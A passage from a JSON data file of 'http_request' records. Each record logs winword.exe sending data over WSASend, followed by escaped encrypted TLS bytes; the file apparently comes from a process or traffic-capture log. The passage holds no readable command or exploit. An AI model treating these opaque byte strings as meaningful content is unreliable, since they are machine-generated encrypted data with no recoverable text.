j\\xccv\\xc9\\xc3\\x13\\xa6\\xdb\\x88o\\x7f"
  767. },
  768. {
  769. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfc\\xe7:\\x1e\\xab}\\x1e\\x0b\\x04\\x99ub\\xeb\\xed\\xd2\\xc4\\xec\\xd7rv\rzx\\x9f\\xaa\\xe2\\xd4>jv\\xff\\x90b\\x8c\\xb7\\xcdt\\x89\\xed\\x94\\xf6\\x7f+\\xc2wr\\xf2\\x97\\x99j\\xc7z/\\x1fmn\\x01p\\x8f\\xa2i\\x11\\x13\\x85\\xdc\\xe0]\\x99\\x93\\x8e~<\\xce@q\\x11\\x84\\x81,\\x11\\xb1\\xa2t\\x9b\\x0c\\xcd\\xcf\\x1d\\x94w\\x0e\\xdd0,\\xd9\\xabe\\x0cx\\xa1\\x10\\xb6\\xae\\xfdz\\xedtr\\xdd(\\xbdx\\xe7\\xd6:jd\t ti\r\\x04\\x1b\\xd4\\x8c\\xf7d\\xf0;%q\\xb3a\\xf0*\\xf3z`}_\\x9b\\x1f\\xca\\xb1l\\xa7#\\xb7\\xee9\\x91d\\x95g\\xa7\\xa4\\x00\\xf9\\xfbe\\x14\\xde\\xf4\\x81-\\xa5a\\xa3}\\xf3o\\xf9\\xdfn@\\xd7\\xf8\\x87\\xa25}6\\xb6\\xb3\\x08\\x80\\xaaq#\\x88\\xe9\\x0b\\x87\\xfah\\xe0\r\\x93\\x9dk\\xa8^~@\\xe2o\\xec\\xc8\\xeb\\xb0?r\\xdbj\\xe7\\x80g\\x95\\xa3o8\\x1d#\\xee3\\x9c\\xd0b\\x87\\xc3gh\\xde>cj\\xba\\xbc.\\x93\\xb1\\xb5\\x10g7\\xdf\\xe4\\xd2\\xadr"
  770. },
  771. {
  772. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0100\\x10i\\xb1\\xcf\\xc8\\x10\\x9f3\n\\xc7vjv%\\xb9}\\xcd\\x8b4\\xe6\\x87\\x15\n\\x824j>\\x18ohu>\\xb8\\xe0d~v\\x92\\xa7\\x9b\\x98\\xb1\\x0f\\x13fu\\xa1\\xecn;9,\\x80b\\x03]\\x81\\xf3\\xdb\nt\\xcd\\x8b\\t*w\\xb9\\xce$\\xf5q|\\xe2?\\xdf0\\xe3v\\xc7o\\xe7j\\xe8\\xe4\\x82)\\xd7>\\xc9\\xbf\\x7f\\x13\\xe9\\x01j\\x12\\xd2r\\x82\\xe7%\\x87k\\x01/mf\\xba\\x03\\x10\\xa3,\\xb2\\xf5\\xff\\x86\\xfa\\x8da\\xb5w\\x92\\xa4\\x10b\\xb2ku;t\\xa1\\x0f\\xf5\\xd2\\xb5\\xd1-4\\xca\\xdf\\x1b\\x97\\xd15b\\xae[5\\xe0o\\xca\\xd7\\x1f\\xfa\\xce{\\x9bd\\x9cg\\xc0\\xba_\\x0bq\\xa0\\x13\\xfav\\x8a\\xe8\\x8f\\x1d#&\\x970f\\xc8g\\xd5\\x9ez\\xf5i\\x8c\\x03\\x08\\x9cni\\xe2\\x19c-?\\xb1_\\xc2\\xd6\\x98\\x7f\\xb8\\x8f\\xfd\\x80\\xa9k%vr\\xbe\\xfa!\\xfe\\x87\\xe6\\xed7\\xb8\\xe7\\x8b\\xc1\\xc2\\xad\\x98\r\\xcc\\xf4\\xb6\\xe8\\x03\\x99\\xd0~-\"7;\\x02#\\x14\\xe0(e\\x96\rc,"
  773. },
  774. {
  775. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010'\\xf5\\xe8\\xeez\\xeblb\\xa3\\x03\\x13f\\xc4\\xbd\\x862l\\x1d\\x93mr+\\xcf\\x0cev\\xfa=\\x811v\\xef\\xc4\r#9\\x00&\r\\xe7^\\xb9\\xc2\\x0b\\x95\\xa0\\x03xt\\x86\\xfaya|;\\x03g+\\x89_\\x98\\xcaf=\\xa6uti\\x96wf\\xdd\\x0e@e\\xb5iwv\\xfd\\xc52)e\\x8c\\x1d\\x1f\\x89\\x9b\\x9e\\xc9\\x13\\xa2\\xcf\\x10\\xc7\\x07x'+\\x827\\x91\\xcc$o\\xb6~\\x04if\\xd7\\xe9y\\x00l\\x1f\\xa5\\xe8]\\x9f\\xaf\\x1ec\\xde\n\\xa7oh\\x1f$\\x06\\x82bw\\xbc\\xe1\\xc8\\xb5z\\xc7\\xfd\"\\x13\\x1a:\\xed\\xba\\x1c\\x04-\\xa2|!:/\\x10\\xe2\"c\\xbc\\xdc`k\\xad\\xb5\\x13)\\xb9\\xe9&\\xd3q\\xf1\\x1a\\xd2f\\xf4\\xd6\\xc2ln\\xc7\\x0bcs)\\x9by)\\xd8#d\\xe4\\x12\\xe1\\x0c\\x7f\\xab\\xc31\\xc30m\\x0e/t\t\\xe5\\xff\\xed\\xfd\\xb7\\x89^9\\x91o0\\xf8\\x80\\xa0?\\x17\\x02tz\\x05\\xaab\\xdbwi/st\\x0eo\\xa9\\xd2\\x04\\x1a\\xd5\\xed+\\xd6\"\\x8b\\xa9\\xec\\xc9"
  776. },
  777. {
  778. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x04\\xa1\\x1d\\xa7k}!,\\xe4\ra\\xf4\\x08\\x0f\\xc0\\x15\\xb2)\\x13ew\\x8c\\xa8k\\x8fb\\x19\ns\\xac\\xbb\\x05\\x95\\x17\\xb6\\xe9\\xa1-\\x1a\\x8d\\xd0;\\xc8\\x98\\xe3ls\\xe0o\\xc61\\x98\\x00\\xa8\n\\xbb\\xbdm}]\\x046\\x84\\xbd\\xd42c\\xa0v\\x980\\xa7\\x06\r\\\\x85vc\\xe7\\xe6\\x9c\\xd7 \\xb2*\\x01\\xaf\\xd8v\\xe8\\x8b\\x02\\xe2\\x99\\xf0\\x12dh\\xd4=\\xaf\\x8b\\xf8\\xff\\x90\\xcbrc\\x11f:!(g\\xc7\\xd7\\x7fq\\xb4\\xac!\\x0b\\x13%iw&\\xf5s\\x8c\\xc0\\xef\\x13o9\\x16g\\xae5\\xbe4\\xbc\\x8eqd\\xe4\\xcdat\\x86\\xe1\\xc2\\x02\\x9a\\x82\\xa6\\xbd\\x8a2\\x04\\x9c\\x88\\xccb\\x0c\\x83l\\xc7\\xe1\\xd4\\x88\\x1b\\x02f\\x0f\"\\xef\\x1e\\x7fv\\xa4a<\\xb6\\x1a8\\xd02\\xd8\\xefk\\xbe\\x9c:\\xbb\\x97<\\xe8\\xd4\\xf5\\x9a`\\x16_l\\xc7\\x8dk\\xe3\\xedih\\xd0\\xe3\\xdc\\xcf|\\xb3\\xb8c\\xb7\\xe1\\xa6bq<\\xc85f\\x8dp\\xbac5\\xfd\\xde\\xec\\x86\\xd3 aao5q\\xce\\xb2\\xe2o\\xb1\\x82"
  779. },
  780. {
  781. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010)\\x9di\\xf73\\xec\\x17\\xda\\xc0\\x8e\\x10\\xaa;;k\\xc0a\r(\\xbc\\xc2\\xdeo,\\xb9\\xdc\\xa0\\x8d#d\\xa87\\x1fn\\x10j\\xc6yu\\xc9\\xd8\\xbb\\xd4\\xb5\\x1ew\\x89\\xd0\\xa4g\\xc4\\xc5\\x06\\xed\\xa1\t\\xec\\x7f\\x8a\\xc0\\xc9\\xfe\\x83\\xc8\\x18.e\\xb0\\xf6\\xe5\\xcb\\xc3r\\xe8\\xec\\xbc\\xf7\\x87\t\\x14xs\\xb1\\xa5v\\x95\\x1avd\\xf6\\xc3\n\\xe5\\xe2g\\xc5,\t\\x83\\xc9\\x16\\x19\"z\\x1b\\xa1\\x9c\\xa7\\x8d\\xf5&20k\t,\\x93#\\xa0\\x04\\xdd\\x1e\\xcdm\\xd9\\xb7\\xdc\\xa6t\\xce\\xd5rl\\xaf\\xe1\\x99a\\x0c\\xa4\\xc8\\xd11^\\xa6$\\xa1\\x96\\x93\\xb2\\x04\\x1d\\x91\\x8ab\\x04\\x12\\xe4\\x84\\xea.\\xbf0\\x96\\x92\\xa0\\xc8\\x90yd\\xf0\\xb7\\x04pp\n:*\\xb57\\xf7\\x85\\x93#l\\x8d^/_\\x8c-u\\x1b\\xd0\\x13p\r7\\xa64e\\x14\\x88l\\xbd\\xef\\x07\\xec8>?g\\xean\\xb7\\x83\\xf0\\xe3\\xbb\\xc04\\xc5\\xad\\x14g\\xd2g,\\xb6\\x91\\xff\\xea`\\xd4d?\\x98sgh\\xf9\\xda\\xb1\\x07\\x88\\xca\\xafd\\xf3\\xcfq\\x98"
  782. },
  783. {
  784. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb7\\xa8\\xf6\\x1c\\xdb\\x07\\xae\\x873xq-~\\xd4\\xf7\\x8c\\x88\\x95m(2w\\xd3v\\x02\\xa3kvm\\xc4ir\\x0c\n/\\xbb:\\xd5\\xf9us+w5\\x1a\\xa4r49\\x0e\\x05\\xbe\\xd5\\xeds\\xd5\\xfb\\xc5>\\xcct\\xfap+\\xf7\\xb0\\xd2)@\\x189\\x85\\xd0\\x97\\x97o5\\xda~\\x12\\x9a\\xe1u\\xc0\" \\xf36\\x16\\xe4\\xab\\x9e\\xd1\\xc9o\\xa83\\xd0\\xe8?\\xado\\xee\\xc8\\xb6\\xfa\\xf6\\xbag>?%\\x19\\xa1\n}b\\x97\\x81\\xc2\\xbe\\x04\n\\xfdh\\x80\\xa6ch&)e9o\\x9c\\x9f26\\xc3u\\xdb\\x955b\\xb1r\\xf8m4\rnt\\x12\\x0f\\xe0\\x9bc\\xed\\xd1\\xf8\\xa6\\x9f\\xa4\\xd0\\xcch\t\\xce\\x92\\x85\\x85\\xa3`\\xfc\\x97\\x8c\\xa6&ix\\x80\\xa1\\xc3\\xe2z}\\xcezz(d\\x05^\\x9cd\\x0f\\xd8\\xeexmls\\x14\\x9c\\xf4\\x7f\\xf6\\xdf\\xe7\\xa2 j\\xc5\\xac\\xf6\\xd3\\x93\\xda\\xe1\\xe1\\xb9\\x84\\x94\rut\\xd2\\xee\\x9d\\x16\\x12\\xb2/\\xaf\\xe1<\\xb6\\xd2\\x8f\\xa4\\xe268\\xdf\\x1c\\x9e\\x89\\x8f\\xe8,\\x08"
  785. },
  786. {
  787. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9a\\x08xj\\x9e~>\\x80{\\x12\\xedt\\x1f\\xb4d\\xb0\\xfb\\xc44.h8\\xe5\\xc5m\\xbb\\x7f.h\\xffb\\xe5\\xf6`\\x0f\\xd0m\\xfaq\\x10\\xcf?)r\\\\x9aw\\xa0k\\xaf\\xfd\\xcb\\xcf\\xa7\\xcbfr\\xba\\x00\\xbbwkk?\\xc4\\x91\\xb14fzsq\\x95y\\x83\\xea/\\xed\\xfd\\x96\\xcc\\xdf\\xd9\\x03c\\xe0+\\x99k!\\xb4\\x1d*\\xcf\t\\xf7fv+\\x0e\\xa4xm\\x14\\xd7\\xba~\\x8c\\xbb/j\\xdc\\xcd\\x92\\xfcu]j\\xf9\\xa4\\xda\\x0f\\x11\\x17\\x1b\\xd4\\xe0\\x99\\x1b\\xf1s\\xf5\\xc4.~jb'+?\\x07\\xdc\\x9d\\xa9\\x82=\\xfa\\xfd;\\xb2ix\\xc6-\\x92v=3\\x19z|0;\\xe1\\xb7\\xfd\\xd2\\xec\\xfb\\xd3\\p\\x95!_\\xb2\\xff\\xe0ox4\\xf9\\xa8c%\t\\xc7\\x9ct\\xc86\\xf3\\x8f\\xfe\\x82\\xe5*ae\\xbe#l\\xa9\\xb8kl\\xa4\\x91\\x9e\\x1b\\xd5\\xc7\\xbd{\\x8c\\x9b\\xbc.fx\\xd9s\\xcf\\xa5]\\xf3\\x14@m\\xd6s\\xd6~x\\x00\\xa5g\\x88\"+\\x023\\xdc\\xe2@\\x7f\\x07\\xea\\xa7h}"
  788. },
  789. {
  790. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0104\\xf4\\xa0s\\x07*c\\xc1\\xce\\xa4\\xd4\\xb3\\x97c\\xd24tl\\xe9\\xee\\xeez\\x91)\\xc9\\xb4\\xe4\\x91\\x126t\\xdcp\\xd0\\xdem\\xb1\\x92d\\xc2\\x8c\\x9f)g\\xc7\\xe7\\xa0\\x9e\\x1d1\\x9c\\xa1,e\\x86l\"\\xfc{\\x8f\\xe9d\\xd3$\\xb5tq\\xc4\\x9ao?\\x1c\\xeeo\\xce\\xb2\\x9fg\\xce\\x8e\\xa9\\xef\\xdbs(\\xe4\\xf5\\xa9{2\\x8erm\\xf8ul\\xf0\\x85$s\\xe1*\\xb2\\xefo\\xfbh\\xe1\\x1f\\xdc\\xf7s[y\\xe6y\\xa9\\xfc5x\\x15\\x85\\xf3\\xae\\x8dq3\\xabsqbnw\\x02\\xfa\\xado^\\x12b\\xbc\\xd8\\xdb\\xcf\\x05h\\xf7/7\\xb5\\xd4\\xe0\\x18\\x0chp\\xf4z\\x15\\xf0h\\x9ab\\xcew\\x0c \\xd4\\xdbx\\x81\\xab\\x91sk\\xa1\\x03\\xc8\\xfa\\xf2\\xf8\\xc8\\xe0\\xe0\\x86\\xbd\\x08\\xe6\\xfc{\\xb3\r\\xbdr\\xe4\\xd3\\xbb\\xe4r\\xefyt\\xb81\\xc3\t\\x11mc\\xb2\\xe1}\\xf4k^m\\xb4\\xd20\\x02\\x1e[\\x1a\\xc9fe\\xceb\\xed\\xad\\xd5\\xeb1\\xad\\xe3\\x00\\xb3\\xde\\xd3\\xfa\\xed_\\x0ep\\xae\\x14\\xf1m\\xa7,+"
  791. },
  792. {
  793. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x14al~\\xad\\x08\\xeer/n6$`d\\x8b\\x97\\xb9\\x96\\x0e\\xf8\\x10u?\\xf1\\xde\\xfd\\x9f\\x14n)\\xcep}7c\\xee\\x1c\\x0b\\x9f\\xb3\\xf6\\x93\\x13\\x9c\\xc5bbq\\x8b6\\x88\\xba\\xbd\\xb4@\\x9b\\xc5}rvr\\xc8\\xdb=\\x13#\\xeb\\xf1^y]+\\x0f\\xedl\\xa0e\\x1e\\x86\\xb8\r\\xfb|\\xc9\\xcb\\x12\\xa6\\xc9`\\xd1\\xd6`\\xb6;6\\xa6\\xab\\xa2k\\xd3s}\\xf4\\xe1t\\x8fv0v\\xcb\\x03\\x88a\\xdb\\xdd\\xcav>,\\xa212g\\x98n\\xeb\\xba\\xda\\xcf\\xffq\\x13o\\xc5dz\\x8c\\x06$@\"\\xd5?@\\xf6\\xc1\\x8d\\xa1\\x90\\xde\\x8f'\\xb8xij\\x8e\\x1a\\x0f)\\x1b\\xc3;\\xec\\x05\\x9a\\x7f\\x01oa\\x84\\x01\\x87\\xb8x\\xf8\\xbd\\xcc\\x00,&\\x17\\xc0i+p\\xfb\r\\x89\\xeb\\xdb\\xf0f\\xe4\\xd5\\xad\\xead\\x0c\\xfee2\\x97/\\xa7t\\xdb{u\\x1f/d9\\x1f\\x9ay2\\x88]\\x17\\xd5\\xb4;>#\\x1f\\x92\\xec\\x93\\x9fu\\xb4\\xb3.-\\xa4\\xf1\\xd3\\x19e\\xe4\\xb0p<\\x08\\xd4\\xcb\\x802m\\x12"
  794. },
  795. {
  796. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010 \\xd5gnu\\x81\\xb4\\xe4u\\xa3\\x1f\\x13m\\x90\\xbc\\xa6\\xf5\"$j\\xeah=\\x11t\\x19\\xd56\\x018\\x97\\x91\\xc4b[b(\\xe1q\\xbe\\xc9\\xf1\\xf7\\x03\\xfd\\xeb\\xfeb\\xf5\rd\\x13,\\xea0mk\\xf4\\xdbc;o\\xe7\\xf4%\\xa5\\x1a!\\xa4\\x0c\\xe5\\x1f\\x7f\\x8a\\x13\\xf5\t\\xf0\\xa8\\xcb:\\xb6\\x94\\x1b\\xfb\\xcd(\\xef\\x1b\\xcc\\xbe\n&\\x89v\\xb3e\\xc7x\\x1dl\\x9e\\xd3b\\xb9\\xa1clyh\\x8d\\x13\\xe9\\xacf\\xc3x\\xecip\\x04\\xbb\\x00\\xf8<y\\xb9\\xfb#i\\xfc\\xcb#3\\xc3\\x0ew|\\x0c\\x8eq\\x9c\\xa7\\xdd\\xd4ln\\xd3a#\\xe6\\xba\\x97wa~\\xaa\\x86\\xd8ce\\xec\\x07\\xab_\\x01\\x83\\xff\\xa7&=\\x03\\xf2r\\x04\\x9f\\x00>\\xf5u\\xc6\\xfc\\xd9\\xd6/\\xa5@\\x96\\xd37\\x13\\xed\\x7fw\\x86\\x84\\xc5\\xd2\\x15\\xae\\xc8\\x88\\x8a\\x81\\x13\\x15\\xd2\\xba\\x94\\xdd\\x0ey\\xa6a\\xf9\\xc7\\x02\\xc6\\xb3\\xd6\\xdd(\\xc6p\\xc9>\\xca`$]\\xc9g\\xe2#\\x9d\\x89a?\\xdftx\\xda\\x9et<x`_%\\xbe\\xfd"
  797. },
  798. {
  799. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe1\\x05dk\\xad\\x9f\"\\xb7\\xe3c$y\\x03,\\x9d(bw\\xa5\\xb5\\xfe\\xc1c\\xdd\\x0bm5\\xf7\\x97nl\\xf6\\xcc\\xbf\\xbc\\xf8\\x03\\xc4n\\xfb\\x9f\\x18z\\xd7e\\xb4\\xaa\\xf2\\xda\\xf6z\\x8d\\x958\\xa6\\xbaq\\x9d\\x97\\x9a&t\\xdfz\\xfa\\x02\\x8a\\x0e\t\\xfed\\xe9n\\x1ex\\x8a\\x1e*#\\xbd\\xa7\\x88\\xbc\\x81\r\\x00\\x01\\xb5\\x9b\\xe8\\xad\\xa6\\xcf\\xa2\\x05\\xd0!\\x92|u\\x16\\x02hs\\x8d\\x18\\xb4<\\x03\\xa7h\\x9d\\x1c=\\x8e\\x8b\\xca\\xce\\x91\\xbb\\x8d\\x11\\xab\\x9f\\x937|sr+\\xe3\\xa0hv\\xb5\\xd5\\xb7p\\x97\\xb3%p\\xd7\\xe4\\x03\\x84\\xef]\\xc0\\xd3b\\x9dlqth\\xf25\\xc1-\\xcf\\xf9$\\xab\\xffm}\\x8f\\x8ey\\xac\\x83\\x02f\\x12)vs\nm\\x0b%\\xb3\no\\\\x164]\\x9c#\\xc1\\xd8\r\\xe4^\\x8b9\\xd0,\\x9c8\\x05\\xaf\\xc7\\x8d\\xd2\\x87\\x18\\x98l\\x15+\\xa2\\xd2\\x9e\\xae\\xdd\\x14\\xd4\r\\x1e%uy\\xd1\\x1dd\\x17x\\xdb .\\xd1\\xab\\xac\\xe1\\xde\\x87\\xd4:\\xdb\\xe9\\x1bo@v5xn\\xb9"
  800. },
  801. {
  802. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0e\\xcb\\x1d\t\\x86\\xc5\\x15\\xads\\xfe`\\xad\\xa9pk\\xf7\\xb9\\xca\\xe8\\xb5\\xb3\\xe4\\xb3\\xf6q\\x96\\x02\\x0c\\xe3\\xbb\\xd5\\xfd\\x01r1\\xe8v\\xb6\\x84\\xdb3\\xc6\\xa0\\x13\\xf5o\\x0c\\xd9\\x0fb\\xdb\\xac\\xd8\\xcci\\xdb[\\xd0\\x0e\\x10\\xd0\\x8c`wp\\x9b\\xc4\\x90h\\xb6,\\xa4\\xcb\\xe5\\xc3\\xb2qx\\xc0\\x8bq\\xcc\\x07\\xa8\\x08kh\\xc9\\x16\"\\x84ej\\xd5\\xc9it\\xc5\\xd3\\xee\\xff%x\r-\\xa8i\\xb0\\xc0$\\xa7~\\x04\\x90/\\xdbhz\\xc7\\xc2l\\x82\\xa4}\\xbf$\\x1d\\x96\\xbdp\\x11\\x82\\x12i\\x8f\\x95u+9\\xe5n\\xa3\\xf9\\xce\\xbe\\xbc\\xc6q\\x17\\xcaa\\x8cw5\\xa3\\x0e\\x82\\x8c'(\\xe7\\xd1w`\\x937\\xf3\\x0e\\xa6/\\x90\\x8fg\\xaa\\x8f\\x8f\\x19^\\xe8&\\xbc\\xe4\\x99\\xf2\\xd4j$\\xe8\\xc2\\xd4\\xfc\\xd1s\\x87\\xc7\\xf8j;}v;\\x88\\xa7\\x9ap\\xaf\\x86\\xcb\\x86\\x83\\xc3\\x98*pl\t|\\xdbz\\x85\\x80+3\\xf0\\x15r5,p\\xee\\xee1v\\xc2#\\xa1\\x18\\xbd:\\xc0\\xcd\\x16\\x16\\x19/on\\xfcj\\x9av"
  803. },
  804. {
  805. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010nrk\\xbd\\x8e\\xd6\\x89l\\x8bp\\x1a\\x0c>zr\\xfay\\x16\\xdd4\\xff\\xc6m:w\\xff\\xe3\\x12.\\xa9n\\xea\\x99y\\xe3\\xc0\\xa2\\xbcqh\\xc0\\xe5\\x9cp\\xa4\\xca\\xaa\\xf3\\xc7\\x11\\xcch\\xc4\\xa2\\xd2k*\\x9f\\x87\\x83\\x08\\x81\\xb0\\x95y\\xd5\\xd3\\xfd\\xb38\\xb6\\xec\\xf8j\t\\xb2\\xf8|\\xb5\\x9fx/p\\x1ayx\\xf7\\xb6\\xc8\\x1f\\xc6\\x93k\\xdah\\xaf\\xf0#\\xce\\x89\\x9d\\xa3jyug\\x9b\\x8c\t\\xdb\\x17*\\x93y\\x1c\\xa3h\\xf9h\\xd0\\x9d\\x95 \\x10\\xac\\x13'm\\xff|d[\\xf3\\xe5i\\x8d\\xcd\\xdc >`\\xa2\\xdd\\xc4>w\\x13%\\x0c~\\xd4\\x0e\\x9d\\xee\\x96>pf\\x88\\xac+\\xb2j\\xf6\\xb0$\\xd3\\xd6\\x82\\xa5\\xdb1\\xe5'\\x0b\\x1a\\xae\\n\\x93\r\\xe8\\xc7\\xf3u\\xfbs\\x08}\\x85\\xa71\\x9cp\\xf8f\\xa8\\x98\\xd5\\xdbf\\x00\\xfd\\xbai\\xe0/h\\xf9\\xf4\\xfa\\xfcb\\xb0\n\\x1c2\\x826-\\x84a5\\xdf\\xd8\\xd0\\xdf]\r\\xaf\\xa9\\x85\\xad\\xd9\\xb2w'\\xed\\x84<-\\x80cz\\xa6\\xd1)\\xf1\\xbd\\xbe\\x96"
  806. },
  807. {
  808. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010h\\xa9\\xd8\\x8a\\x18l\t\\xe5\\x0c\\xc6\\x1ay|\\xde\r\\xb2\\x18j\\xf7\\x01\\x9a\\xfdlg\\x9fh\\xc5\\xfenc[\\x9f'\\xdfe+?j-0w\\x8a\\x98y\\x944w?\\x07\\x97\\xed3\\xed\\xca\\xc4\\x9c\\xed9\\x12\\xe1\\xa1'\\x1b&\\xa5\\xe6\\xa3\\x17-\\x02\\xe7\\x1d\\xe6\\xc9\\xfb\\xc7\\x9c\\x90ky\\x17\\xea\\x1cs\\xe0u\\xd5\\xb9l\\xcbn39\\x10\\xe0?\\xaf\\x97\\x9e\\xfcn\\xef\\x12\\xb7\\xe4\\xd7\\xb3\\xdd\\x022\\xca'b\\x18\\x04.\\xd2ys\\xc1\\x94yq\\xb6\\x7f\\xeb\\xb5\\x02a3\\xe1\\xf4e\\x8bj\\x9a9\\xf8\n\\x1fu\\xd6i:u\\}\\x9aw'\\x04\\xc3\\xe70\\x1f\\x9e\\xbf\\x97\\xcefol\\xadh\\xdeg\\x1b\\xd6\\xd9\\xc4\\x97t*\\xe6\\x9a)k\\xdd\\x86\\x9e\\x0c]}e\\x8a\\x1b\\x99\\xe2\\x92\\x98b\\xe9\\x9d\\ki\\x05 \\xe1;\\xb9b\\x0b\\x00\\xae%n\\x12\\x8d\\x18\\x8ah\\x81\\x8an}\\xc8a\\xdbr\\xc3\\xdd'\\xac\\xba\\x93\\x1b!\\x92isb\\xcd\\\\xc0\\xaf\\x8a}7\\x96\\xa1\\xf5rjo\\xd8uq{q\\xc1"
  809. },
  810. {
  811. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\n\t\\xd4\\xbb\\x06\\x13\\xc25h\\xd0!fm\\xff\\xea\\x90wavr\\xee\\x06\\x1b\\xb5\\x1d\\xdb\\x9aq\\xa4\\x90m\\xddc\\x815\\x12?@\\x1e\\xb8h\\xddq{\\x894\\xde\\x7f\\xcb\\x08\\xf2e\\x99\\x0f-m\\x02wz\\xf8f`\\xfek\\xdd\\x87\\x8c.\\x06\\xb5\\xc6\\x08\\xf1n\\xce\\x88\\xa4\\xef\\xfe\\xb5\\xe8\\xbf5\\x81ey\t2\\xd8en>`\\x9e\\x0b\\x90\\x9d6\\xa3\\xf2\\x95\\xf5_\\x9b\\xe1\\x87\\x8f|\\xdc\\xd1\\x1etvr\\x84\\xd6df\\xa1x'cq\\xc5\\+\\xda\\xa7d\\x82a8\\xf8\\x06$}\\x89\\x08\\xa6{?m\\xe2\\x96\\x85\\x19\\xab\\x80\\xfd\\x04\\xb4\\xb9\\x9a\\x0f\\xce\\x85x\\x89\t\\x918<\\xda\\x1fih\\x8d\\xcat\\xed\\xd6\\xcc\\x85\\xd6\\x11\\xb1\\x7f\\x16\\xadj\\xeb2\\x1b7\\x7f/k9l\\x11\\x0e\\xfe\\xfa\\xc6\\x93-\\x0c;\\xd0p\\xf4\\xa5(3r\\xd6e\\xdc\\xa7\\xad\\x0f>\\x8es\\xdd\\xef\\xab\\xf3$\\x95t!\\xf1\\xb1\\x0c\\xd7wox{z\\x8d\\x90/\\xdd\\xf7\\xdc 'my\\xbc\\x11\\xe4\\xcc\\xa4\\xe4\\xf6\\x07\\x18."
  812. },
  813. {
  814. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf0\\x81\t\\xe4\\x99.#\\xaa\\x8fk'\\x9f\\xc3\\xae8\\xa83\\x03r\\xcf.\\xa8m\\xb8\\x84\\xdd\\x07\\x1ff<\\xc7{\\x10\\x1atou\\xad\\xac\\xe3ts\\xd9\\xb5k\\x92bne\\xcce\\xcd\\xed\\xc7}\\xeb\\x1c\\xa3\"nf\\x92\\xb2\\xa1\\x88\\x8c\\x1c\\xbc;\\x0c\\x0f'!\\x8d\\x1d\\x19\\x82\\xf3w\\xc5n\\xe5<\\x04\"\\xea\\xba\\xa4h\\x13\\xf7j\\xb6\\xcd\\x8dr\\xf0\\xd3\\x93v\\x18w-d\\xd4\\x98\\xa7\\xed 1\\xc5\\xb0\\x06\\xbf\\x1d\\x89\\x9a\\x95*\\xd9\\x82\\xd8\\xd8l\\xd7$\\x0fy\\xd3\\xbe\\x07\\xc4\\xe6\\x87\\xdfup\\xf4\\x7f\\xe1\\xce\\xb0\\xe2\\x88\\xf0\\x7fm\\xc6\\x8ee\\x8e5]\\xee\\xeax+l&\\xb4k\\x8e\\xd5\\xb3\\xd8w(\\x8a,\\x83i\\x8a\\xa1g\t\\x90a=\\xe4u\\xdb/d\\xda&c_\\x12\\xc5\\x14\\xb06\\xdcv\\xcf\\x00\\xcc\\xc1\\xb0\\xb6\\xb6&\\xf6\\xc9\\xeeus\t\\xba\\xc0\\xb6l\\x93\\x17\\xce\\xd2\\x9e\\xe9v\\xd3.\\xbf\\x87\\xbbu\\xaa\\xac.\\x9bc.\\xe8\\xa4\\xdf\\xa6s;\\xb5\\xa8ldr\\xd6i[\\xbb\\xafh\\x19\\xe6)"
  815. },
  816. {
  817. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x14w\\x91f,\\xc3\\xafs\\x0ea\\xbbf\n\\xcf\\xcf\\x98q\\xb4\\x9e\\xa3n\\x92b\\xb8qm\\xa4\\xd4s\\x8e\\xba\\xc7\\xa4\\xb2\\xe1#\\x87\\xa6\\xdb9\\xb8e\\x90\\xb4!\\xde{o!+k\\x07\\xa4\\xb6sv\\xaeaz\\x99y\\xb6\\xa6\\x90\\xf9c\\xd5\\xfa\\x0fv\\xdd\\xe0\\xdfp\\xe4\\xbax\\x8c\\x81\\xaf\\xdd>\\xcful\\xa7n\\xa9\\xda\\x18t\\x87\\xce4o\\x0cr\\xf1p\\xb9\\xf40\\x12od\\xca\\x94\\x8d\\x8dr^\\xc4\\xc5\\xf7,\\xe7h\\xd8b\\xb7z:\\x83\\x95\\x9ff\\x08wlt\\xb7\\x1c@]3\\x82h\\xe9\\x84\\xc84p*\\xd3\\x85g\\xc0\\x1a\\xa3\\x04\\xdc\\xfcz\\xe4\\xe6\\xaf\\x1e\\x1a\\xc0k\\x04r\\xb9)\\xb1\\xcc\\x02\\xd2\\xd5\\xf8v\\x84=\\xf5\\x98\\xbf\\xa9\\xf2\r\\xdc\\xc1\\xc3p\\xe5\\xcb\\xea\\x0cz\\x1d{prf\\xaex\\xe9\\x8a\\x9e\\xc6x@j\\xc2\\xbb\\x91\\xba\\x10\\x84\\xcb\\xe1\\x1d\\x18\\x8b\\x13p\\xce\\x16i\nab0\\x15\\x88\"~\\x91\\x03\\xeb\\xc2\\xbd<\\xdd\\x00\\xf9\\xd7\\x19\\xe1\\xed6`\\xc7\\xb9g\\xb1\\xc4y#\\xd4\\x15\\xb2"
  818. },
  819. {
